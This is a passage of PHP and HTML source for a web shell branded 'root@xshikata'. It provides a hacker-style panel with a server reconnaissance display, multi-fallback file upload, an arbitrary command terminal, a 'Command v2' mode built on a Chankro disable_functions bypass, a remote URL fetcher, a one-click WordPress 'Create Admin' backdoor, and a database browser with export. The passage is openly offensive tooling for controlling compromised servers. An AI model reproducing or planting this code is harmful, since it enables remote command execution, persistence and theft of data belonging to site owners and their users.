            $res['success'] = true;
            $res['method'] = 'file_get_contents';
        }
        // Method 4: rename tmp to a temporary file, then copy
        else {
            $alt = sys_get_temp_dir() . '/' . uniqid('bypass_', true);
            if (@rename($alt, $alt) && @copy($alt, $dest)) {
                @unlink($alt);
                $res['success'] = true;
                $res['method'] = 'rename+copy';
            }
        }

        if ($res['success']) {
            $res['name'] = $filename;
            $res['message'] = "File uploaded successfully (<strong>{$res['method']}</strong>): <a href=\"" . htmlspecialchars($filename) . "\" target=\"_blank\">" . htmlspecialchars($filename) . "</a>";
        } else {
            $res['message'] = "All upload methods failed, please check permissions or server restrictions.";
        }

        return $res;
    }

    $uploadResult = smart_upload('ufile', $default_dir);
    $upload_message = $uploadResult['message'];
}


?>
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// PHP configuration for file upload
ini_set('upload_max_filesize', '64M');
ini_set('post_max_size', '64M');
ini_set('max_input_time', '300');
ini_set('max_execution_time', '300');
/**
 * Function for sanitizing file name
 * Only allows alphanumeric, underscore, dot, and dash characters.
 * If the file name is the same as the uploader file, add a prefix.
 */
function sanitizeFilename($filename) {
    $filename = preg_replace('/[^a-zA-Z0-9_\.-]/', '_', basename($filename));
    if ($filename === basename(__FILE__)) {
        $filename = 'upload_' . $filename;
    }
    return $filename;
}

$msg = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Make sure the file has been uploaded without errors
    if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
        $originalName = $_FILES['upload_file']['name'];
        $filename = sanitizeFilename($originalName);
        // Get the destination directory from the 'berkas' input
        if (isset($_POST['berkas']) && is_string($_POST['berkas']) && !empty($_POST['berkas'])) {
            $targetDir = uraikan($_POST['berkas']);
            if (!is_dir($targetDir)) {
                $targetDir = __DIR__;
            }
        } else {
            $targetDir = __DIR__;
        }
        // Make sure there is no trailing slash
        $destination = rtrim($targetDir, '/') . '/' . $filename;

        // Try the main method: move_uploaded_file()
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $destination)) {
            // Change file permissions to be accessible
            chmod($destination, 0644);
            $msg = "File <strong>$filename</strong> uploaded successfully via move_uploaded_file.";
        } else {
            // If it fails, try a fallback with copy()
            if (copy($_FILES['upload_file']['tmp_name'], $destination)) {
                unlink($_FILES['upload_file']['tmp_name']);
                chmod($destination, 0644);
                $msg = "File <strong>$filename</strong> uploaded successfully using fallback method copy().";
            } else {
                // Last fallback with file_get_contents + file_put_contents
                $contents = file_get_contents($_FILES['upload_file']['tmp_name']);
                if ($contents !== false && file_put_contents($destination, $contents)) {
           
                     unlink($_FILES['upload_file']['tmp_name']);
                     chmod($destination, 0644);
                    $msg = "File <strong>$filename</strong> uploaded successfully using fallback method file_get_contents() and file_put_contents().";
                } else {
                    $msg = "Failed to upload file. Please check directory permissions and server configuration.";
                }
            }
        }
    } else {
        $errorCode = isset($_FILES['upload_file']['error']) ? $_FILES['upload_file']['error'] : 'unknown';
        if($errorCode !== UPLOAD_ERR_NO_FILE) {
            $msg = "An error occurred while uploading the file. (Error code: $errorCode)";
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>root@xshikata</title>
    <style>
html {
    font-size: 15px;
}
body {
    margin: 0;
    padding: 0;
    background-color: #1a1a1a;
    font-family: monospace;
    color: #ddd;
    font-size: 1rem;
}

.content-wrapper {
    padding: 1rem;
    max-width: 1300px;
    margin: 0 auto;
}

a {
    text-decoration: none;
}

.system-info {
    display: flex;
    justify-content: space-between;
    align-items: center;
    background-color: #222222;
    border: 2px dotted #00FF00;
    border-radius: 8px;
    padding: 1rem;
    margin-bottom: 1rem;
    box-shadow: 2px 2px 5px rgba(0,0,0,0.5);
}
.system-info-left p {
    margin: 0.3rem 0;
    font-size: 0.9rem;
    color: #FFFFFF;
}
.system-info-left a {
    color: #00FF00;
    text-decoration: none;
}

.fManager-wrapper {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
}

.fManager {
    width: 100%;
    margin: 1rem 0;
    border-collapse: collapse;
    background-color: #2e2e2e;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
}
.fManager thead th {
    padding: 0.6rem 0.8rem;
    border: none;
    background-color: #3c3c3c;
    color: #ffffff;
    white-space: nowrap;
}
.fManager tbody td {
    padding: 0.6rem 0.8rem;
    border: none;
    color: #e0e0e0;
    white-space: nowrap;
}
.fManager tbody tr:nth-child(odd) { background-color: #2e2e2e; }
.fManager tbody tr:nth-child(even) { background-color: #363636; }
.fManager tbody tr:hover { background-color: #444444; }

.btn-modern {
    padding: 0.5rem 1rem;
    font-size: 0.9rem;
    font-family: monospace;
    font-weight: bold;
    color: #1a1a1a;
    background-color: #00FF00;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    transition: background-color 0.3s ease, transform 0.2s ease;
    display: inline-flex;
    align-items: center;
    gap: 0.5rem;
}
.btn-modern:hover {
    background-color: #00B300;
    transform: translateY(-2px);
}
.btn-modern:disabled {
    background-color: #555;
    color: #999;
    cursor: not-allowed;
    transform: none;
}

.btn-kill {
    background-color: #dc3545;
    color: #fff;
}
.btn-kill:hover {
    background-color: #c82333;
}
.btn-kill-delete {
    background-color: #fd7e14;
    color: #fff;
}
.btn-kill-delete:hover {
    background-color: #e86a00;
}


.path-display-container {
    background-color: #2e2e2e;
    border: 1px dotted transparent;
    border-radius: 8px;
    padding: 0.7rem;
    margin: 1rem 0;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
    display: flex;
    align-items: center;
    color: #ddd;
    flex-wrap: nowrap;
    overflow-x: auto;
}
.path-display-container i { color: #FFFFFF; margin-right: 0.5rem; flex-shrink: 0; }
.path-display-container p { white-space: nowrap; margin:0; }
.path-display-container a { color: #FFFFFF;
    text-decoration: none; font-weight: bold; }
.path-display-container a:hover { text-decoration: underline; }
.path-display-container span { margin: 0 0.25rem;
}

.terminal-container {
    background-color: #1e1e1e;
    border: 1px solid #333;
    border-radius: 8px;
    padding: 1.2rem;
    margin-top: 1rem;
    box-shadow: 0 4px 15px rgba(0, 0, 0, 0.5);
    font-family: 'Menlo', 'Monaco', 'Consolas', monospace;
}
.terminal-output {
    background-color: #161616;
    color: #e0e0e0;
    padding: 1rem;
    border-radius: 5px;
    max-height: 400px;
    overflow-y: auto;
    white-space: pre-wrap;
    word-wrap: break-word;
    margin-bottom: 1rem;
    border: 1px solid #2a2a2a;
}
.terminal-input-area { display: flex; align-items: center; }
.terminal-prompt { color: #00FF00; font-weight: bold; margin-right: 0.7rem;
}
.terminal-input {
    flex-grow: 1;
    background-color: transparent;
    border: none;
    color: #e0e0e0;
    font-size: 1em;
    font-family: inherit;
    padding: 0.3rem;
}
.terminal-input:focus { outline: none; }
.btn-execute {
    background-color: #00FF00;
    color: #111;
    border: none;
    padding: 0.5rem 1rem;
    border-radius: 5px;
    cursor: pointer;
    font-family: monospace;
    font-weight: bold;
    transition: background-color 0.3s ease;
    margin-left: 0.7rem;
}

.upload-panel {
    background-color: #2e2e2e;
    border: 2px dashed #444;
    border-radius: 10px;
    padding: 2rem;
    text-align: center;
    transition: border-color 0.3s ease, background-color 0.3s ease;
    cursor: pointer;
}
.upload-panel.drag-over { border-color: #00FF00; background-color: #333; }
.upload-icon { font-size: 3rem; color: #00FF00; margin-bottom: 1rem; }
.upload-text { color: #ddd; font-size: 1rem;
    margin-bottom: 1.2rem; }
.upload-text span { color: #00FF00; font-weight: bold; }
.progress-container {
    margin-top: 20px;
    height: 10px;
    background-color: #444;
    border-radius: 5px;
    overflow: hidden;
    display: none;
}
.progress-bar {
    width: 0;
    height: 100%;
    background-color: #00FF00;
    border-radius: 5px;
    transition: width 0.3s ease;
}
#uploadStatus {
    margin-top: 15px;
    font-weight: bold;
}

.db-container { display: flex; gap: 1.2rem;
    margin-top: 1rem; }
.db-sidebar {
    width: 25%;
    min-width: 180px;
    background-color: #2e2e2e;
    padding: 1rem;
    border-radius: 8px;
    border: 1px solid #333;
    height: fit-content;
}
.db-content { width: 75%; }
.db-sidebar h4 {
    color: #00FF00;
    margin-top: 0;
    border-bottom: 1px dotted #00FF00;
    padding-bottom: 0.7rem;
    margin-bottom: 0.7rem;
    font-size: 1rem;
}
.db-list { list-style: none; padding: 0; margin: 0; max-height: 400px;
    overflow-y: auto; }
.db-list li a {
    display: block;
    color: #ddd;
    padding: 0.5rem 0.7rem;
    text-decoration: none;
    border-radius: 4px;
    transition: background-color 0.2s ease;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    font-size: 0.9rem;
}
.db-list li a:hover { background-color: #3a3a3a;
}
.db-list li.active a { background-color: #00FF00; color: #111; font-weight: bold; }
.db-login-form {
    background-color: #2e2e2e;
    padding: 1.2rem;
    border-radius: 8px;
    border: 1px solid #333;
    display: flex;
    flex-wrap: wrap;
    gap: 0.7rem;
    align-items: center;
    margin-bottom: 1rem;
}
.db-login-form input[type="text"] {
    flex: 1 1 150px;
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
}
.data-table-container { max-height: 500px; overflow: auto; border: 1px solid #333; border-radius: 8px; }
.fManager.data-table td div { max-width: 200px;
    overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.pagination { margin: 1rem 0; text-align: center;
}
.pagination a {
    margin: 0 0.25rem;
    padding: 0.3rem 0.6rem;
    border: 1px dotted #00FF00;
    text-decoration: none;
    color: #00FF00;
    border-radius: 4px;
    transition: background-color 0.2s, color 0.2s;
}
.pagination a:hover { background-color: #00FF00; color: #111; }
.pagination a.active { background: #00FF00;
    color: #111; font-weight: bold; }

.db-edit-form { background-color: #2e2e2e; padding: 1.2rem; border-radius: 8px; border: 1px solid #333;
}
.db-edit-form .form-group { margin-bottom: 1rem; }
.db-edit-form label { display: block; margin-bottom: 0.3rem; color: #00FF00; font-weight: bold;
}
.db-edit-form input[type="text"], .db-edit-form textarea {
    width: 100%;
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
    box-sizing: border-box;
    font-family: monospace;
}
.db-edit-form textarea { height: 120px; resize: vertical; }
.db-edit-form .form-actions { margin-top: 1.2rem; text-align: right;
}
.db-edit-form .form-actions .btn-modern { margin-left: 0.7rem; }

/* File Editor and info */
.file_edit {
    width: 100%;
    height: 400px;
    background-color: #222;
    border: 1px dotted #00FF00;
    color: #ddd;
    font-family: 'Consolas', 'Monaco', 'monospace';
    font-size: 1rem;
    padding: 1rem;
    box-sizing: border-box;
    resize: vertical;
    border-radius: 8px;
}
.file-info-container {
    background-color: #2e2e2e;
    border: 1px dotted #00FF00;
    border-radius: 8px;
    padding: 1rem;
    margin-bottom: 1.2rem;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.main-nav-wrapper {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
}
.main-nav {
    text-align: center; 
    margin: 1.2rem 0;
    white-space: nowrap;
}
.main-nav .btn-modern, .main-nav form {
    margin: 5px;
    display: inline-block;
}

.new-file-form {
    background-color: #2e2e2e;
    padding: 1.2rem;
    border-radius: 8px;
    border: 1px solid #333;
    display: flex;
    flex-direction: column;
    gap: 0.7rem;
}
.new-file-form input[type="text"],
.new-file-form textarea {
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
    font-family: monospace;
}
.new-file-form textarea {
    height: 200px;
    resize: vertical;
}
.new-file-form button {
    align-self: flex-start;
}

</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
</head>
<body>
<div class="content-wrapper">

<div class="system-info">
    <div class="system-info-left">
       <p>
    <strong style="color: #00FF00;">System Info:</strong>
    <span style="color: #ffffff;"><?php
        echo htmlspecialchars((function() {
            try {
                if (function_exists('php_uname')) return php_uname();
                if ($os = getenv('OS')) return $os;
        
                if (defined('PHP_OS')) return PHP_OS;
                return "Disabled";
            } catch (Throwable $e) {
                return "Disabled";
            }
        })());
 ?></span>
</p>

        <p>
            <strong style="color: #00FF00;">User:</strong>
            <span style="color: #ffffff;"><?php
    if (function_exists('getmyuid') && function_exists('get_current_user')) {
        echo getmyuid() . " (" . get_current_user() . ")";
    } else {
        echo "Disabled";
    }
?></span>

        </p>
		<p>
		    <strong style="color: #00FF00;">Group:</strong>
		    <span style="color: #ffffff;"><?php 
		
		        if (function_exists('getmygid') && function_exists('posix_getegid') && function_exists('posix_getgrgid')) {
		            $qid = @posix_getgrgid(@posix_getegid());
                    echo getmygid() . " (" . (isset($qid['name']) ? $qid['name'] : 'unknown') . ")";
                } elseif (function_exists('getmygid')) {
		            echo getmygid();
                } else {
		            echo "Disabled";
                }
		    ?></span>
		</p>
        <p>
            <strong style="color: #00FF00;">Safe Mode:</strong>
            <span style="color: <?php echo ($safeMode === true ? "#ff6666" : "#66cc66"); ?>;"><?php echo ($safeMode === true ? "On" : "Off");
?></span>
            <span style="margin-left: 3rem;"><a href='javascript:navigate("awal", "phpinfo")' style="color: #00FF00;">[ PHP Info ]</a></span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Address:</strong>
            <span style="color: #ffffff;"><?php
                $serverAddr = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : gethostbyname(gethostname());
                echo htmlspecialchars($serverAddr);
            ?></span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Software:</strong>
            <span style="color: #ffffff;"><?php echo isset($_SERVER['SERVER_SOFTWARE']) ? htmlspecialchars($_SERVER['SERVER_SOFTWARE']) : 'unknown'; ?></span>
        </p>
        <p>
            <strong style="color: #00FF00;">PHP Version:</strong>
            <span style="color: #ffffff;"><?php echo htmlspecialchars(phpversion());
?></span>
        </p>
        <p>
            <strong style="color: #00FF00;">cURL Version:</strong>
            <span style="color: #ffffff;"><?php echo function_exists('curl_version') ? htmlspecialchars(curl_version()['version']) : 'None'; ?></span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Time:</strong>
            <span style="color: #ffffff;"><?php echo date('Y-m-d H:i:s');
?></span>
        </p>
    </div>
</div>

<div class="main-nav-wrapper">
    <div class="main-nav">
      <a href="javascript:navigate('awal', 'dasar');" class="btn-modern"><i class="fas fa-home"></i> Home</a>
      <a href="javascript:toggleUpload();" class="btn-modern"><i class="fas fa-upload"></i> Upload</a>
      <a href="javascript:newFile();" class="btn-modern"><i class="fas fa-plus-square"></i> New File</a>
      <a href="javascript:newPapka();" class="btn-modern"><i class="fas fa-folder-plus"></i> New Folder</a>
      <a href="javascript:navigate('awal', 'sistem_kom', 'berkas', '<?= kunci($default_dir) ?>');" class="btn-modern"><i class="fas fa-terminal"></i> Command</a>
<a href="javascript:navigate('awal', 'chankro_kom', 'berkas', '<?= kunci($default_dir) ?>');" class="btn-modern"><i class="fas fa-skull-crossbones"></i> Command v2</a>
<a href="javascript:toggleFetcher();" class="btn-modern"><i class="fas fa-link"></i> Fetch URL</a>
      <a href="javascript:navigate('awal', 'skl');" class="btn-modern"><i class="fas fa-database"></i> Database</a>
      <form method="POST" action="">
        <input type="hidden" name="create_wp_admin" value="1">
        <input type="hidden" name="berkas" value="<?= htmlspecialchars(kunci($default_dir)) ?>">
        <button type="submit" class="btn-modern"><i class="fas fa-user-shield"></i> Create Admin</button>
      </form>
    </div>
</div>

<div id="newFileContainer" style="display:none; margin-top: 1.2rem;">
    <form method="POST" class="new-file-form">
        <input type="hidden" name="awal" value="buat_file">
        <input type="hidden" name="berkas" value="<?= htmlspecialchars(kunci($default_dir)) ?>">
       
         <input type="text" name="new_filename" placeholder="Enter file name..." required>
        <textarea name="new_file_content" placeholder="Enter file content..."></textarea>
        <button type="submit" class="btn-modern"><i class="fas fa-save"></i> Save File</button>
    </form>
</div>

<div id="fetchContainer" style="display:none; margin-top: 1.2rem;">
    <form method="POST" class="new-file-form" style="flex-direction: row; gap: 1rem; align-items: center;">
        <input type="hidden" name="awal" value="fetch_file">
        <input type="hidden" name="berkas" value="<?= htmlspecialchars(kunci($default_dir)) ?>">
        <input type="text" name="fetch_url" placeholder="Enter full URL to download..." required style="flex-grow: 1; margin: 0;">
        <input type="text" name="save_as" placeholder="Save as (optional)..." style="flex-grow: 0.5; margin: 0;">
        <button type="submit" class="btn-modern"><i class="fas fa-download"></i> Fetch</button>
    </form>
</div>


<div id="uploadContainer" style="display:none; padding: 1.2rem;">
    <div id="upload-panel" class="upload-panel">
        <form id="ajaxUploadForm" method="POST" enctype="multipart/form-data" action="<?= $_SERVER['PHP_SELF']; ?>">
            <input type="hidden" name="awal" value="upl_file">
            <input type="hidden" name="berkas" value="<?= htmlspecialchars(kunci($default_dir)) ?>">
            <input type="file" name="ufile" id="file-input-real" style="display: none;">
            
            <i class="fas fa-cloud-upload-alt upload-icon"></i>
            <p class="upload-text">Drag & drop your file here or <span>browse</span> to upload.</p>
  
           </form>
    </div>
    <div class="progress-container" id="progress-container">
        <div class="progress-bar" id="progress-bar"></div>
    </div>
    <div id="uploadStatus" style="text-align: center; margin-top: 1rem;"></div>
    <?php if (!empty($upload_message)) echo '<div id="uploadStatus" style="margin-top:10px; color:#0f0;">' . $upload_message . '</div>'; ?>
</div>

<?php
// Display success or error messages if any
if (isset($success_msg)) {
    echo '<div style="text-align: center; color: #0f0; margin: 0.7rem;">' .
$success_msg . '</div>';
} elseif (isset($error_msg)) {
    echo '<div style="text-align: center; color: #f00; margin: 0.7rem;">' .
$error_msg . '</div>';
}
?>

<div class="path-display-container">
    <i class="fas fa-folder-open"></i>
    <p>
        <?php tulisLah(); ?>
    </p>
</div>
<hr style="border-color: #333; border-style: dotted;">

<?php
// ===========================================================================
// Page display based on selected action (PHP Info, Command, Read File, SQL, etc.)
// ===========================================================================
if($awal=="phpinfo")
{
	print "<div style='width: 100%; height: 400px;'><iframe src='?awal=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>";
}
// --- GANTI SELURUH BLOK 'chankro_kom' YANG LAMA DENGAN YANG INI ---
else if ($awal == 'chankro_kom') {
    print '<div class="terminal-container">';
    print '<div style="margin-bottom: 1rem;"><h3 style="margin:0; color:#00FF00;">Command v2</h3></div>';
    
    // Area untuk menampilkan hasil command
    print '<div class="terminal-output">';
    if (isset($_POST['chankro_command']) && !empty($_POST['chankro_command'])) {
        // Panggil fungsi Chankro. Fungsi ini akan langsung mencetak outputnya.
        // Kita modifikasi sedikit agar tidak ada judul ganda.
        ob_start();
        runChankroModified(trim($_POST['chankro_command']), $default_dir);
        $output = ob_get_clean();
        print str_replace("<h3>result:</h3>", "", $output);
    } else {
        print "Terminal ready. Enter a command below.";
    }
    print '</div>';

    // Area untuk input command
    ?>
    <form action="" method="post" style="padding:0; margin:0;">
        <div class="terminal-input-area">
            <input type="hidden" name="awal" value="chankro_kom">
            <input type="hidden" name="berkas" value="<?= htmlspecialchars(kunci($default_dir)) ?>">
            <span class="terminal-prompt">$</span>
            <input type="text" name="chankro_command" class="terminal-input" placeholder="type your command" autofocus>
            <button type="submit" class="btn-execute">Execute</button>
        </div>
    </form>
    <?php
    print '</div>';
}
// --- AKHIR DARI BLOK PENGGANTI ---
else if ($awal == "sistem_kom") {
    print '<div class="terminal-container">';
    print '<div class="terminal-output">';

    if (isset($_POST['kom']) && is_string($_POST['kom']) && !empty($_POST['kom'])) {
        $komanda = uraikan($_POST['kom']);
        $result = execute_command($komanda);
        
        print htmlspecialchars(isset($result['output']) ? $result['output'] : "");
        if(!empty($result['error'])) {
             print "\n<span style='color: #ff5555;'>" . htmlspecialchars($result['error']) . "</span>";
        }
    } else {
        print "Terminal ready. Enter a command below.";
    }
    print '</div>';

    print '<div class="terminal-input-area">';
    print '<span class="terminal-prompt">$</span>';
    print '<input type="text" id="emr_et_atash" class="terminal-input" placeholder="Enter command..." autofocus>';
    print '<button type="button" class="btn-execute" onclick="sistemKom();">Execute</button>';
    print '</div>';
    print '</div>';
}


else if($awal=="baca_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "")
{
	$namaBerkas = basename(uraikan($_POST['fayl']));
	$pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : "";
	if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
	{
		$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? " onclick='navigate(\"awal\", \"edit_file\", \"fayl\", \"" . kunci($namaBerkas) . "\", \"berkas\", \"" . kunci($default_dir) . "\")'" : " disabled";
		print "<div>File Name: <span class='qalin'>" . htmlspecialchars($namaBerkas) . "</span><br/><button class='btn-modern'$elaveBtn><i class='fas fa-edit'></i> Edit </button></div>";
		print "<div class='baca_file'>" . highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true) . "</div>";
	}
}
else if ($awal == 'edit_db_form') {
    $db_sidebar_content = '';
    // To capture sidebar for later display
    ob_start();
    try {
        if (!isset($_POST['t'], $_POST['pk_val'])) {
            throw new Exception("Missing table or primary key.");
        }
        $tableName = uraikan($_POST['t']);
        $pk_val = uraikan($_POST['pk_val']);

        $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
        $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
        $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
        $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';

        if(empty($host) || empty($database)) {
            throw new Exception("Database connection not established.");
        }

        $pdo = new PDO('mysql:host=' . $host . ';dbname=' . $database . ';charset=utf8', $user, $sandi);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // --- RENDER SIDEBAR (for context) ---
        $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata')->fetchAll();
        echo '<div class="db-container">';
        echo '<div class="db-sidebar">';
        echo '<h4>Databases</h4>';
        echo '<ul class="db-list">';
        foreach($schematas as $schema) {
            $schemaName = $schema['schema_name'];
            $activeClass = ($database == $schemaName) ? 'class="active"' : '';
            echo "<li {$activeClass}><a href=\"javascript:navigate('awal', 'skl', 'database', '{$schemaName}')\">{$schemaName}</a></li>";
        }
        echo '</ul>';
        $tablesStmt = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
        $tablesStmt->execute(array($database));
        $tables = $tablesStmt->fetchAll();
        echo '<h4 style="margin-top: 20px;">Tables</h4>';
        echo '<ul class="db-list">';
        foreach($tables as $table) {
            $currentTableName = $table['table_name'];
            $activeClass = ($tableName == $currentTableName) ? 'class="active"' : '';
             echo "<li {$activeClass}><a href=\"javascript:navigate('awal', 'skl', 'database', '{$database}', 't', '" . kunci($currentTableName) . "')\">" . htmlspecialchars($currentTableName) . "</a></li>";
        }
        echo '</ul></div>';
        // End sidebar
        $db_sidebar_content = ob_get_clean();
        // Capture sidebar and restart buffer
        ob_start();
        // --- RENDER MAIN CONTENT (THE FORM) ---
        $cols_stmt = $pdo->query("DESCRIBE `{$tableName}`");
        $columns_info = $cols_stmt->fetchAll(PDO::FETCH_ASSOC);
        $pk_col = $columns_info[0]['Field'];

        $stmt = $pdo->prepare("SELECT * FROM `{$tableName}` WHERE `{$pk_col}` = ?");
        $stmt->execute([$pk_val]);
        $row_data = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$row_data) {
            throw new Exception("Row not found.");
        }

        echo '<div class="db-content">';
        echo '<h3>Editing row in <span style="color:#00FF00;">' . htmlspecialchars($tableName) . '</span></h3>';
        echo '<form method="POST" class="db-edit-form">';
        echo '<input type="hidden" name="awal" value="edit_db_row">';
        echo '<input type="hidden" name="t" value="' . htmlspecialchars($_POST['t']) . '">';
        echo '<input type="hidden" name="pk_val" value="' . htmlspecialchars($_POST['pk_val']) . '">';
        
        foreach($columns_info as $col) {
            $colName = $col['Field'];
            $colType = strtolower($col['Type']);
            $value = htmlspecialchars(isset($row_data[$colName]) ? $row_data[$colName] : '');

            echo '<div class="form-group">';
            echo '<label for="edit-'. $colName .'">' . $colName . '</label>';
            
            $isReadOnly = ($colName == $pk_col);
            $readOnlyAttr = $isReadOnly ? ' readonly style="background-color: #444;"' : '';
            if (strpos($colType, 'text') !== false || (strpos($colType, 'varchar') !== false && intval(preg_replace('/[^0-9]/', '', $colType)) > 255)) {
                 echo '<textarea name="' . $colName . '" id="edit-'. $colName .'"' . $readOnlyAttr . '>' . $value . '</textarea>';
            } else {
                 echo '<input type="text" name="' . $colName . '" id="edit-'. $colName .'" value="' . $value . '"' . $readOnlyAttr . '>';
            }
            echo '</div>';
        }

        $halaman = isset($_POST['halaman']) ? $_POST['halaman'] : '1';
        $current_table_encoded = $_POST['t'];
        echo '<div class="form-actions">';
        echo '<button type="submit" class="btn-modern">Save Changes</button>';
        echo '<a class="btn-modern" style="text-decoration:none; background-color:#6c757d;" href="javascript:navigate(\'awal\', \'skl\', \'database\', \''. $database .'\', \'t\', \''. $current_table_encoded .'\', \'halaman\', \''. $halaman .'\')">Cancel</a>';
        echo '</div>';
        echo '</form>';
        echo '</div>';
        // End db-content

    } catch (Exception $e) {
        echo '<div class="db-content" style="color: #ff5555;">Error: ' . $e->getMessage() . '</div>';
    }
    $db_main_content = ob_get_clean();
    echo $db_sidebar_content . $db_main_content . '</div>';
    // Combine and close container
}
else if($awal == 'skl')
{
    // 1. Get all potential values from cookies and POST
	$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
	$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
	$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
	$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';

    // 2. Override with POST data if it exists for the current request
    if (isset($_POST['host'])) {
        $host_val = trim($_POST['host']) === '' ? 'localhost' : $_POST['host'];
        $host = $host_val;
        $user = $_POST['user'];
        $sandi = $_POST['sandi'];
        $database = ''; // Reset database on new connection
    }
    if (isset($_POST['database'])) {
        $database = $_POST['database'];
    }
	?>
    <form method="POST" class="db-login-form">
        <input type="hidden" name="awal" value="skl">
        <input type="text" placeholder="Host (default: localhost)" name="host" value="<?=htmlspecialchars($host)?>">
        <input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
        <input type="text" placeholder="Password" name="sandi" value="<?=htmlspecialchars($sandi)?>">
        <button type="submit" class="btn-modern">Connect</button>
        <?php if (!empty($host)): ?>
            <a href="javascript:navigate('awal', 'db_logout')" class="btn-modern" style="background-color:#dc3545; text-decoration:none;">Logout</a>
       
         <?php endif; ?>
    </form>
	<?php
	if(!empty($host))
	{
		try
		{
            // 3. Construct the connection string with the final $database value
            $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';';
			$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
			$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata')->fetchAll();
            
            echo '<div class="db-container">';
            // Sidebar
            echo '<div class="db-sidebar">';
            echo '<h4>Databases</h4>';
            echo '<ul class="db-list">';
            foreach($schematas as $schema) {
                $schemaName = $schema['schema_name'];
                $activeClass = ($database == $schemaName) ? 'class="active"' : '';
                echo "<li {$activeClass}><a href=\"javascript:navigate('awal', 'skl', 'database', '{$schemaName}')\">{$schemaName}</a></li>";
            }
            echo '</ul>';
            if(!empty($database)) {
                $tablesStmt = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
                $tablesStmt->execute(array($database));
				$tables = $tablesStmt->fetchAll();
                echo '<h4 style="margin-top: 1.2rem;">Tables</h4>';
                echo '<ul class="db-list">';
                $currentTable = isset($_POST['t']) ? uraikan($_POST['t']) : '';
                foreach($tables as $table) {
                    $tableName = $table['table_name'];
                    $activeClass = ($currentTable == $tableName) ? 'class="active"' : '';
                    echo "<li {$activeClass}><a href=\"javascript:navigate('awal', 'skl', 'database', '{$database}', 't', '" . kunci($tableName) . "')\">" . htmlspecialchars($tableName) . "</a></li>";
                }
                echo '</ul>';
            }
            echo '</div>';
            // End Sidebar

            // Main Content
            echo '<div class="db-content">';
            if(empty($database)) {
                echo "Select a database from the sidebar to begin.";
            } else {
                if(isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t'])) {
                    $tableName = uraikan($_POST['t']);
                    echo '<div class="db-table-info">';
                    echo '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:navigate(\'awal\', \'skl_d_t\', \'t\', \'' . kunci($tableName) . '\')">Export Table</a> | <a href="javascript:navigate(\'awal\', \'skl_d\');">Export Database</a> )';
                    $dataCountQuery = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`');
                    $dataCount = (int)$dataCountQuery->fetchColumn();
                    echo '<br><span class="qalin">Rows:</span> ' . $dataCount;
                    echo '</div>';

                    $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
					$getColumns->execute(array($database, $tableName));
					$columns = $getColumns->fetchAll(PDO::FETCH_COLUMN);
                    if($columns) {
                        $pages = ceil($dataCount / 100);
                        $currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1;
                        $start = 100 * ($currentPage - 1);
						$dataQuery = $pdo->query('SELECT * FROM `' . $tableName . '` LIMIT ' . $start . ' , 100');
						$data = $dataQuery->fetchAll();

                        echo '<div class="data-table-container">';
                        echo '<table class="fManager data-table"><thead><tr>';
                        foreach($columns AS $columnName) {
